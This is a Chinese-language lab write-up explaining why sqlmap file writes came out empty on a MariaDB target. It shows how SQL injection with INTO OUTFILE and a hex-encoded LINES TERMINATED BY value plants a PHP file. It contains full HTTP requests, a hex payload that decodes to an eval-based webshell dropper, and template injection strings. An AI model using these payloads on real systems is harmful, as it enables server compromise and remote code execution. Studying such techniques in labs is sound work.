0x01 前言

在练习靶机的时候遇到了一台比较简单的机器,就是利用sql语句进行写入文件拿到服务器权限的。

但是无论是使用sqlmap还是使用—file参数、手工注入都无法把文件内容写进去,只有空文件,查询了许多文档,才发现是自己理解SQL不够深。

0x02 发现问题

靶机环境:

用户:root(拥有最高权限)

系统:ubuntu

数据库版本:10.5.8-MariaDB

在priority参数存在注入:

Untitled

使用—os-shell:

Untitled

上服务器看到的结果是0:

Untitled

使用sqlmap内置的文件写入参数:

sqlmap -r data.txt --file-write="/tmp/test.txt" --file-dest="/srv/http/test.txt" -vvvv

结果也是一致:

Untitled

0x03 解决问题

os-shell和内置写入函数都是使用select into outfile函数,是因为不支持联合查询,看下注入的数据包:

POST /issue/checkByPriority HTTP/1.1
Host: 192.168.181.147:17445
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: */*
Referer: [http://192.168.181.147:17445/user/edit/2](http://192.168.181.147:17445/user/edit/2)
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: JSESSIONID=9882BC4DEC8E2C15EBB6CB37DA1F384E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 277

priority=1' LIMIT 0,1 INTO OUTFILE '/srv/http/t8.php' LINES TERMINATED BY 0x3c3f7068702066696c655f7075745f636f6e74656e74732822616e74302e706870222c6261736536345f6465636f646528225044397761484167514756325957776f4a46395154314e5557796468626e516e58536b37507a344b2229293b3f3e-- -

查看源码的内容:

Untitled

sqlmap使用的方式是用TERMINATED BY分隔符进行插入数据,那么整一个sql语句如下:

SELECT message FROM issue WHERE priority='1' LIMIT 0,1 INTO OUTFILE '/srv/http/test.txt' LINES TERMINATED BY 0x74657374;

作用如下:

  1. SELECT message: 这部分表示查询语句要选择 “message” 列的数据。
  2. FROM issue: 这部分表示查询的数据源是名为 “issue” 的数据库表。
  3. WHERE priority='1': 这部分是一个条件子句,它限制了查询的结果,只选择 “priority” 列的值等于 ‘1’ 的记录。
  4. INTO OUTFILE '/srv/http/test.txt': 这部分指定了查询结果的输出方式。它告诉数据库将查询结果写入一个名为 “test.txt” 的文本文件中,并且文件将被保存在服务器文件系统的 “/srv/http/” 目录下。
  5. LINES TERMINATED BY 0x74657374: 这部分定义了在输出文件中的每一行之间应该插入的终止符。在这里,使用十六进制值 0x74657374 表示终止符是 “test”。

后面查询官网的资料才知道原因:

Untitled

这个查询的目的是从数据库表中选择指定条件的数据,并将结果保存到指定的文本文件中,每行之间使用 “test” 作为终止符。如果执行这个查询,将生成一个文本文件,其中包含满足条件的记录的 “message” 列数据。

如果查询为空的话,插入的分隔符就为空

所以要拿到priority的内容才行,进行查询priority内容:

Untitled

再次进行注入:

POST /issue/checkByPriority HTTP/1.1
Host: 192.168.181.147:17445
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: */*
Referer: http://192.168.181.147:17445/user/edit/2
Accept-Encoding: gzip, deflate
Accept-Language: en-GB,en-US;q=0.9,en;q=0.8
Cookie: JSESSIONID=9882BC4DEC8E2C15EBB6CB37DA1F384E
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 277

priority=Normal' LIMIT 0,1 INTO OUTFILE '/srv/http/test123.php' LINES TERMINATED BY 0x3c3f7068702066696c655f7075745f636f6e74656e74732822616e74302e706870222c6261736536345f6465636f646528225044397761484167514756325957776f4a46395154314e5557796468626e516e58536b37507a344b2229293b3f3e-- -

session过期了,我在服务区演示一遍:

Untitled

可以看到内容已经写进来了:

Untitled

0x04 结尾

该方法还有种写入的方法:

?id=1 INTO OUTFILE '物理路径' lines terminated by  (一句话hex编码#
?id=1 INTO OUTFILE '物理路径' fields terminated by (一句话hex编码#
?id=1 INTO OUTFILE '物理路径' columns terminated by (一句话hex编码#
?id=1 INTO OUTFILE '物理路径' lines starting by    (一句话hex编码#

本菜才疏学浅,有望和大佬们多多交流哈

0x05 参考

https://dev.mysql.com/doc/refman/8.0/en/select-into.html

https://www.cnblogs.com/xiaozi/p/12767050.html